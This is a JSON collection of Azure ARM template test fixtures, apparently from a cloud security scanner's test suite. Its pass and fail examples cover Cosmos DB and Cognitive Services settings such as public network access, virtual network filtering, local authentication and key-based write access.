    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2023-05-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"accounts_pike_name\": {\n      \"defaultValue\": \"pike\",\n      \"type\": \"String\"\n    }\n  },\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"name\": \"fail2\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"kind\": \"CognitiveServices\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesEnableLocalAuth/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2023-05-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"accounts_pike_name\": {\n      \"defaultValue\": \"pike\",\n      \"type\": \"String\"\n    }\n  },\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"name\": \"pass\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"kind\": \"CognitiveServices\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\",\n        \"disableLocalAuth\": true\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2024-05-15\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"enableMultipleWriteLocations\": true,\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"databaseAccountOfferType\": \"Standard\",\n        \"enableAutomaticFailover\": true,\n        \"ipRangeFilter\": [],\n        \"isVirtualNetworkFilterEnabled\": true,\n        \"locations\": [\n          {\n            \"locationName\": \"[variables('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"networkAclBypass\": \"AzureServices\",\n        \"virtualNetworkRules\": []\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2024-05-15\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"enableMultipleWriteLocations\": true,\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"databaseAccountOfferType\": \"Standard\",\n        \"enableAutomaticFailover\": true,\n        \"ipRangeFilter\": [],\n        \"isVirtualNetworkFilterEnabled\": false,\n        \"locations\": [\n          {\n            \"locationName\": \"[variables('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"networkAclBypass\": \"AzureServices\",\n        \"virtualNetworkRules\": []\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2024-05-15\",\n      \"name\": \"fail3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"databaseAccountOfferType\": \"Standard\",\n        \"enableAutomaticFailover\": true,\n        \"ipRangeFilter\": [],\n        \"isVirtualNetworkFilterEnabled\": false,\n        \"locations\": [\n          {\n            \"locationName\": \"[variables('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"networkAclBypass\": \"AzureServices\",\n        \"virtualNetworkRules\": [\n          {\n            \"id\": \"Microsoft.virtualNetworks\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/fail4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/azureFirewalls\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"fail4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"AZFW_VNet\",\n          \"tier\": \"Standard\"\n        },\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/firewallPolicies', 'example-policy')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/azureFirewalls/ruleCollections\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"example/testcollection\",\n      \"properties\": {\n        \"priority\": 100,\n        \"action\": {\n          \"type\": \"Allow\"\n        },\n        \"rules\": [\n          {\n            \"name\": \"testrule\",\n            \"ruleType\": \"NetworkRule\",\n            \"sourceAddresses\": [\n              \"10.0.0.0/16\"\n            ],\n            \"destinationAddresses\": [\n              \"8.8.8.8\",\n              \"8.8.4.4\"\n            ],\n            \"destinationPorts\": [\n              \"53\"\n            ],\n            \"protocols\": [\n              \"TCP\",\n              \"UDP\"\n            ]\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2020-04-01\",\n      \"name\": \"fail4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"enableAutomaticFailover\": true,\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ]\n      }\n    }\n  ],\n  \"parameters\": {\n    \"randomInteger\": {\n      \"type\": \"int\"\n    },\n    \"failoverLocation\": {\n      \"type\": \"string\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2020-04-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"enableMultipleWriteLocations\": false,\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"enableAutomaticFailover\": true,\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"randomInteger\": {\n      \"type\": \"int\"\n    },\n    \"failoverLocation\": {\n      \"type\": \"string\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/azureFirewalls\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"priority\": 100,\n        \"action\": {\n          \"type\": \"Allow\"\n        },\n        \"rules\": [\n          {\n            \"name\": \"testrule\",\n            \"ruleType\": \"NetworkRule\",\n            \"sourceAddresses\": [\n              \"10.0.0.0/16\"\n            ],\n            \"destinationAddresses\": [\n              \"8.8.8.8\",\n              \"8.8.4.4\"\n            ],\n            \"destinationPorts\": [\n              \"53\"\n            ],\n            \"protocols\": [\n              \"TCP\",\n              \"UDP\"\n            ]\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2020-04-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"isVirtualNetworkFilterEnabled\": true,\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"enableAutomaticFailover\": true,\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"virtualNetworkRules\": [\n          {\n            \"id\": \"Microsoft.virtualNetworks\",\n            \"ignoreMissingVNetServiceEndpoint\": true\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2024-05-15\",\n      \"name\": \"pass3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"databaseAccountOfferType\": \"Standard\",\n        \"enableAutomaticFailover\": true,\n        \"ipRangeFilter\": [],\n        \"isVirtualNetworkFilterEnabled\": true,\n        \"ipRules\": [\n          \"192.0.0.1\"\n        ],\n        \"locations\": [\n          {\n            \"locationName\": \"[variables('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"networkAclBypass\": \"AzureServices\",\n        \"virtualNetworkRules\": [\n          {\n            \"id\": \"Microsoft.virtualNetworks\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBAccountsRestrictedAccess/pass4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/azureFirewalls\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"pass4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"AZFW_VNet\",\n          \"tier\": \"Standard\"\n        },\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/firewallPolicies', 'example-policy')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/azureFirewalls/ruleCollections\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"pass4\",\n      \"properties\": {\n        \"priority\": 100,\n        \"action\": {\n          \"type\": \"Allow\"\n        },\n        \"rules\": [\n          {\n            \"name\": \"testrule\",\n            \"ruleType\": \"NetworkRule\",\n            \"sourceAddresses\": [\n              \"10.0.0.0/16\"\n            ],\n            \"destinationAddresses\": [\n              \"8.8.8.8\",\n              \"8.8.4.4\"\n            ],\n            \"destinationPorts\": [\n              \"53\"\n            ],\n            \"protocols\": [\n              \"TCP\",\n              \"UDP\"\n            ]\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2020-04-01\",\n      \"name\": \"pass4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"kind\": \"GlobalDocumentDB\",\n      \"properties\": {\n        \"consistencyPolicy\": {\n          \"defaultConsistencyLevel\": \"BoundedStaleness\",\n          \"maxIntervalInSeconds\": 10,\n          \"maxStalenessPrefix\": 200\n        },\n        \"locations\": [\n          {\n            \"locationName\": \"[parameters('failoverLocation')]\",\n            \"failoverPriority\": 1\n          },\n          {\n            \"locationName\": \"[resourceGroup().location]\",\n            \"failoverPriority\": 0\n          }\n        ],\n        \"enableAutomaticFailover\": true,\n        \"capabilities\": [\n          {\n            \"name\": \"EnableAggregationPipeline\"\n          },\n          {\n            \"name\": \"mongoEnableDocLevelTTL\"\n          },\n          {\n            \"name\": \"MongoDBv3.4\"\n          }\n        ],\n        \"virtualNetworkRules\": [\n          {\n            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId, '/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/example/subnets/default')]\"\n          }\n        ],\n        \"ipRules\": [\n          {\n            \"ipAddressOrRange\": \"192.0.0.1\"\n          }\n        ],\n        \"isVirtualNetworkFilterEnabled\": true\n      }\n    }\n  ],\n  \"parameters\": {\n    \"randomInteger\": {\n      \"type\": \"int\"\n    },\n    \"failoverLocation\": {\n      \"type\": \"string\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBDisableAccessKeyWrite/CosmosDBDisableAccessKeyWrite-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"variables\":{\n    \"roleDefName\": \"[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2018-07-01\",\n      \"name\": \"[variables('roleDefName')]\",\n      \"properties\": {\n        \"description\": \"[parameters('roleDescription')]\",\n        \"type\": \"customRole\",\n        \"isCustom\": true,\n        \"permissions\": [\n          {\n            \"actions\": \"[parameters('actions')]\",\n            \"notActions\": \"[parameters('notActions')]\"\n          }\n        ],\n        \"assignableScopes\": [\n          \"[subscription().id]\"\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBDisableAccessKeyWrite/CosmosDBDisableAccessKeyWrite-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"variables\":{\n    \"roleDefName\": \"[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2018-07-01\",\n      \"name\": \"[variables('roleDefName')]\",\n      \"properties\": {\n        \"disableKeyBasedMetadataWriteAccess\": true,\n        \"description\": \"[parameters('roleDescription')]\",\n        \"type\": \"customRole\",\n        \"isCustom\": true,\n        \"permissions\": [\n          {\n            \"actions\": \"[parameters('actions')]\",\n            \"notActions\": \"[parameters('notActions')]\"\n          }\n        ],\n        \"assignableScopes\": [\n          \"[subscription().id]\"\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"variables\":{\n    \"roleDefName\": \"[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n      \"apiVersion\": \"2018-07-01\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"description\": \"[parameters('roleDescription')]\",\n        \"type\": \"customRole\",\n        \"isCustom\": true,\n        \"permissions\": [\n          {\n            \"actions\": \"[parameters('actions')]\",\n            \"notActions\": \"[parameters('notActions')]\"\n          }\n        ],\n        \"assignableScopes\": [\n          \"[subscription().id]\"\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Fail2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"databaseAccounts_secondaccountjgw_name\": {\n            \"defaultValue\": \"secondaccountjgw\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n            \"apiVersion\": \"2023-04-15\",\n            \"name\": \"fail2\",\n            \"location\": \"UK South\",\n            \"kind\": \"GlobalDocumentDB\",\n            \"identity\": {\n                \"type\": \"None\"\n            },\n            \"properties\": {\n                \"publicNetworkAccess\": \"Enabled\",\n                \"enableAutomaticFailover\": true,\n                \"enableMultipleWriteLocations\": false,\n                \"isVirtualNetworkFilterEnabled\": false,\n                \"virtualNetworkRules\": [],\n                \"disableKeyBasedMetadataWriteAccess\": true,\n                \"enableFreeTier\": false,\n                \"enableAnalyticalStorage\": false,\n                \"analyticalStorageConfiguration\": {\n                    \"schemaType\": \"WellDefined\"\n                },\n                \"databaseAccountOfferType\": \"Standard\",\n                \"keyVaultKeyUri\": \"https://examplekeyvaultjgw.vault.azure.net/keys/temp\",\n                \"defaultIdentity\": \"FirstPartyIdentity\",\n                \"networkAclBypass\": \"None\",\n                \"disableLocalAuth\": true,\n                \"enablePartitionMerge\": false,\n                \"minimalTlsVersion\": \"Tls\",\n                \"consistencyPolicy\": {\n                    \"defaultConsistencyLevel\": \"BoundedStaleness\",\n                    \"maxIntervalInSeconds\": 300,\n                    \"maxStalenessPrefix\": 100000\n                },\n                \"locations\": [\n                    {\n                        \"locationName\": \"UK South\",\n                        \"provisioningState\": \"Failed\",\n                        \"failoverPriority\": 0,\n                        \"isZoneRedundant\": false\n                    }\n                ],\n                \"cors\": [],\n                \"capabilities\": [],\n                \"ipRules\": [],\n                \"backupPolicy\": {\n                    \"type\": \"Periodic\",\n                    \"periodicModeProperties\": {\n                        \"backupIntervalInMinutes\": 240,\n                        \"backupRetentionIntervalInHours\": 8,\n                        \"backupStorageRedundancy\": \"Invalid\"\n                    }\n                },\n                \"networkAclBypassResourceIds\": [],\n                \"keysMetadata\": {}\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Fail3.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"databaseAccounts_secondaccountjgw_name\": {\n            \"defaultValue\": \"secondaccountjgw\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n            \"apiVersion\": \"2023-04-15\",\n            \"name\": \"fail3\",\n            \"location\": \"UK South\",\n            \"kind\": \"GlobalDocumentDB\",\n            \"identity\": {\n                \"type\": \"None\"\n            },\n            \"properties\": {\n                \"publicNetworkAccess\": \"SecuredByPerimeter\",\n                \"enableAutomaticFailover\": true,\n                \"enableMultipleWriteLocations\": false,\n                \"isVirtualNetworkFilterEnabled\": false,\n                \"virtualNetworkRules\": [],\n                \"disableKeyBasedMetadataWriteAccess\": true,\n                \"enableFreeTier\": false,\n                \"enableAnalyticalStorage\": false,\n                \"analyticalStorageConfiguration\": {\n                    \"schemaType\": \"WellDefined\"\n                },\n                \"databaseAccountOfferType\": \"Standard\",\n                \"keyVaultKeyUri\": \"https://examplekeyvaultjgw.vault.azure.net/keys/temp\",\n                \"defaultIdentity\": \"FirstPartyIdentity\",\n                \"networkAclBypass\": \"None\",\n                \"disableLocalAuth\": true,\n                \"enablePartitionMerge\": false,\n                \"minimalTlsVersion\": \"Tls\",\n                \"consistencyPolicy\": {\n                    \"defaultConsistencyLevel\": \"BoundedStaleness\",\n                    \"maxIntervalInSeconds\": 300,\n                    \"maxStalenessPrefix\": 100000\n                },\n                \"locations\": [\n                    {\n                        \"locationName\": \"UK South\",\n                        \"provisioningState\": \"Failed\",\n                        \"failoverPriority\": 0,\n                        \"isZoneRedundant\": false\n                    }\n                ],\n                \"cors\": [],\n                \"capabilities\": [],\n                \"ipRules\": [],\n                \"backupPolicy\": {\n                    \"type\": \"Periodic\",\n                    \"periodicModeProperties\": {\n                        \"backupIntervalInMinutes\": 240,\n                        \"backupRetentionIntervalInHours\": 8,\n                        \"backupStorageRedundancy\": \"Invalid\"\n                    }\n                },\n                \"networkAclBypassResourceIds\": [],\n                \"keysMetadata\": {}\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBDisablesPublicNetwork/Pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"databaseAccounts_secondaccountjgw_name\": {\n            \"defaultValue\": \"secondaccountjgw\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.DocumentDB/databaseAccounts\",\n            \"apiVersion\": \"2023-04-15\",\n            \"name\": \"pass\",\n            \"location\": \"UK South\",\n            \"kind\": \"GlobalDocumentDB\",\n            \"identity\": {\n                \"type\": \"None\"\n            },\n            \"properties\": {\n                \"publicNetworkAccess\": \"Disabled\",\n                \"enableAutomaticFailover\": true,\n                \"enableMultipleWriteLocations\": false,\n                \"isVirtualNetworkFilterEnabled\": false,\n                \"virtualNetworkRules\": [],\n                \"disableKeyBasedMetadataWriteAccess\": true,\n                \"enableFreeTier\": false,\n                \"enableAnalyticalStorage\": false,\n                \"analyticalStorageConfiguration\": {\n                    \"schemaType\": \"WellDefined\"\n                },\n                \"databaseAccountOfferType\": \"Standard\",\n                \"keyVaultKeyUri\": \"https://examplekeyvaultjgw.vault.azure.net/keys/temp\",\n                \"defaultIdentity\": \"FirstPartyIdentity\",\n                \"networkAclBypass\": \"None\",\n                \"disableLocalAuth\": true,\n                \"enablePartitionMerge\": false,\n                \"minimalTlsVersion\": \"Tls\",\n                \"consistencyPolicy\": {\n                    \"defaultConsistencyLevel\": \"BoundedStaleness\",\n                    \"maxIntervalInSeconds\": 300,\n                    \"maxStalenessPrefix\": 100000\n                },\n                \"locations\": [\n                    {\n                        \"locationName\": \"UK South\",\n                        \"provisioningState\": \"Failed\",\n                        \"failoverPriority\": 0,\n                        \"isZoneRedundant\": false\n                    }\n                ],\n                \"cors\": [],\n                \"capabilities\": [],\n                \"ipRules\": [],\n                \"backupPolicy\": {\n                    \"type\": \"Periodic\",\n                    \"periodicModeProperties\": {\n                        \"backupIntervalInMinutes\": 240,\n                        \"backupRetentionIntervalInHours\": 8,\n                        \"backupStorageRedundancy\": \"Invalid\"\n                    }\n                },\n                \"networkAclBypassResourceIds\": [],\n                \"keysMetadata\": {}\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBHaveCMK/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"name\": {\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"locationName\": {\n            \"type\": \"string\"\n        },\n        \"defaultExperience\": {\n            \"type\": \"string\"\n        },\n        \"isZoneRedundant\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"apiVersion\": \"2023-03-15-preview\",\n            \"kind\": \"GlobalDocumentDB\",\n            \"type\": \"Microsoft.DocumentDb/databaseAccounts\",\n            \"name\": \"fail\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"databaseAccountOfferType\": \"Standard\",\n                \"locations\": [\n                    {\n                        \"id\": \"[concat(parameters('name'), '-', parameters('location'))]\",\n                        \"failoverPriority\": 0,\n                        \"locationName\": \"[parameters('locationName')]\"\n                    }\n                ],\n                \"backupPolicy\": {\n                    \"type\": \"Periodic\",\n                    \"periodicModeProperties\": {\n                        \"backupIntervalInMinutes\": 240,\n                        \"backupRetentionIntervalInHours\": 8,\n                        \"backupStorageRedundancy\": \"Geo\"\n                    }\n                },\n                \"isVirtualNetworkFilterEnabled\": false,\n                \"virtualNetworkRules\": [],\n                \"ipRules\": [],\n                \"dependsOn\": [],\n                \"minimalTlsVersion\": \"Tls12\",\n                \"enableMultipleWriteLocations\": false,\n                \"capabilities\": [],\n                \"enableFreeTier\": true,\n                \"capacity\": {\n                    \"totalThroughputLimit\": 1000\n                }\n            },\n            \"tags\": {\n                \"defaultExperience\": \"[parameters('defaultExperience')]\",\n                \"hidden-cosmos-mmspecial\": \"\"\n            }\n        }\n    ],\n    \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CosmosDBHaveCMK/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"name\": {\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"locationName\": {\n            \"type\": \"string\"\n        },\n        \"defaultExperience\": {\n            \"type\": \"string\"\n        },\n        \"isZoneRedundant\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"apiVersion\": \"2023-03-15-preview\",\n            \"kind\": \"GlobalDocumentDB\",\n            \"type\": \"Microsoft.DocumentDb/databaseAccounts\",\n            \"name\": \"pass\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"databaseAccountOfferType\": \"Standard\",\n                \"locations\": [\n                    {\n                        \"id\": \"[concat(parameters('name'), '-', parameters('location'))]\",\n                        \"failoverPriority\": 0,\n                        \"locationName\": \"[parameters('locationName')]\"\n                    }\n                ],\n                \"backupPolicy\": {\n                    \"type\": \"Periodic\",\n                    \"periodicModeProperties\": {\n                        \"backupIntervalInMinutes\": 240,\n                        \"backupRetentionIntervalInHours\": 8,\n                        \"backupStorageRedundancy\": \"Geo\"\n                    }\n                },\n                \"isVirtualNetworkFilterEnabled\": false,\n                \"virtualNetworkRules\": [],\n                \"ipRules\": [],\n                \"dependsOn\": [],\n                